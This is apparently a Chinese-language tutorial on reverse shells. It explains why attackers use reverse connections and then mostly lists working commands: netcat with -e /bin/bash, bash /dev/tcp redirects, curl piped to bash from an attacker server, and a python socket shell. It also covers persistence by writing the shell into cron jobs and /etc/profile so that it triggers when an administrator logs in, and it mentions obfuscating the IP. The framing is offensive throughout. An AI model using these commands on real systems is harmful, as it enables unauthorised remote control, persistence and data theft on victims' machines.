目录
反弹Shell
反弹shell的概述
正向连接
反向连接
为什么需要反弹shell
利用netcat反弹shell
利用Bash反弹shell
curl配合Bash反弹shell
将反弹shell的命令写入定时任务
将反弹shell的命令写入/etc/profile文件
python脚本反弹shell
反弹Shell
反弹shell的概述
反弹shell是一种远程控制方式,可以让攻击者在目标主机上执行命令并获得对该主机的远程控制权。攻击者可以通过各种手段(如社工攻击、漏洞利用等)在目标主机上执行恶意脚本,从而获得反弹shell。攻击者可以通过该shell执行任意命令、控制目标主机、窃取数据等。因此,反弹shell是一种高危攻击手段。
反弹shell,就是攻击机监听在某个TCP/UDP端口为服务端,目标机主动发起请求到攻击机监听的端口,并将命令行的输入输出转到攻击机。
正向连接
假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标主机,这是正向连接。远程RPC,ssh,telnet,web服务都属于正向连接
反向连接
为什么需要反弹shell
因为正向连接无法利用,我们才用反向连接。以下场景适合反弹shell
-
目标主机因为防火墙受限,目标主机只能发送请求,而不能接受请求
-
目标主机的端口被占用
-
目标主机位于局域网中或者IP经常发生动态变化,攻击者无法直接连接
-
我们的病毒、木马,受害者什么时候中招,对方的网络环境未知,什么时间开关机等因素未知
反向连接就是攻击者指定服务器,受害者主机主动连接攻击者的服务端程序,即为反向连接。
利用netcat反弹shell
Netcat(nc)是一个网络工具,可以用来读写网络连接。它可以用来建立网络连接,监听端口,发生UDP数据包,扫描端口、执行端口转发等
Netcat可以在两台计算机之间建立一个简单的网路连接,然后在这两台计算机之间发送数据。它还可以监听指定端口,等到其他计算机连接。
这个工具经常在用在没有可视化工具或没有图形界面的系统上,可以用来读写网路连接,常见用于网络调试,开发还可以用于反弹shell,端口扫描等。
目前,默认的各个Linux发行版本已经自带了netcat工具包,但是可能由于考虑到原生版本的netcat带有可以直接发布与反弹本地shell的功能 -e阉割掉了,所以我们需要自己手动下载二进制安装包。
wget https://nchc.dl.sourceforge.net/project/netcat/netcat/0.7.1/netcat-0.7.1.tar.gz
tar -xvzf netcat-0.7.1.tar.gz
./configure
make && make install
make clean
安装完原生版本的netcat工具后,便有了netcat -e参数,我们就可以将本地bash反弹到攻击主机上了
攻击主机开启本地监听
kali㉿kali)-[~]
└─$ netcat -lvvp 666
listening on [any] 666 ...
目标主机主动连接攻击主机
[root@192 ~]# nc 192.168.218.135 666 -e /bin/bash
# nc <攻击主机的ip> <攻击主机监听的端口> -e /bin/bash
执行效果
利用Bash反弹shell
Bash结合重定向方法构成Bash反弹一句话
bash -i >& /dev/tcp/192.168.218.135/666 0>&1
或
bash -c "bash -i >& /dev/tcp/192.168.218.135/666 0>&1"
# bash -i >& /dev/tcp/攻击主机IP/攻击主机端口号 0>&1
命令解析
命令 | 命令详解 |
---|---|
bash -i | 产生一个bash交互环境 |
>& | 将联合符号前面的内容与后面相结合,然后一起重定向给后者 |
/dev/tcp/ip/port | Linux下一切皆文件,意思就是让目标主机与攻击主机的某个端口建立一个TCP连接 |
0>&1 | 将标准输入与标准输出内容相结合,然后重定向给前面标准输出的内容 |
这条一户话的过程就是:
Bash产生了一个交互环境和本地主机 主动发起了与攻击主机666端口的连接,然后再重定向个TCP 666会话连接,最后将用户键盘输入与用户的标准输出相结合再次重定向给一个标准输出,就可以得到了一个Bash反弹环境。
攻击主机开启本地监听:
(kali㉿kali)-[~]
└─$ netcat -lvvp 666
listening on [any] 666 ...
目标主机主动连接攻击主机:
[root@192 ~]# bash -i >& /dev/tcp/192.168.218.135/666 0>&1
执行效果
curl配合Bash反弹shell
首先,在攻击者vps的web目录里创建一个index文件(index.php或index.html),内容如下
bash -i >& /dev/tcp/ip/port 0>&1
并开启对应端口监听,然后在目标主机上
然后在目标主机上执行如下,即可反弹shell:
curl 192.168.218.135 | bash
注意:curl IP | bash 中的IP可以是任意格式的,可以是十进制、十六进制、八进制、二进制等等。
执行效果
将反弹shell的命令写入定时任务
我们可以在目标主机的定时任务文件中写入一个反弹shell脚本,但是我们必须知道用户名是什么。因为我们的反弹shell命令是要写在/var/spool/cron/[crontabs]/<username>内的,所以必须要知道远程主机当前的用户名,否则不生效。
比如,当前用户为root时,我们就要将下面内容写到/var/spool/cron/root中。(CentOS系列)
比如,当前用户为root时,我们就要将下面内容写到/var/spool/cron/crontabs/root中。(Debian/Ubuntu系列)
*/1 * * * * /bin/bash -i>&/dev/tcp/ip/port 0>&1
# 每搁一分钟,向指定IP的指定端口发送shell
将反弹shell的命令写入/etc/profile文件
将以下反弹shell的命写入/etc/profile文件中,/etc/profile中的内容会在用户打开bash窗口时执行。
/bin/bash -i >& /dev/tcp/ip/port 0>&1 &
# 最后面那个&为的是防止管理员无法输入命令
当目标主机管理员远程连接该主机时,就会执行该命令,成功获得目标机的shell。
执行效果
python脚本反弹shell
当目标主机上有python环境时,我们可以用python来反弹shell。python在现在一般发行版Linux系统中都会自带,所以用起来比较方便,即使没有安装我们也可以手动安装。
攻击主机监听
nc -lvvp 666
目标主机主动连接主机
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ip",port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
执行效果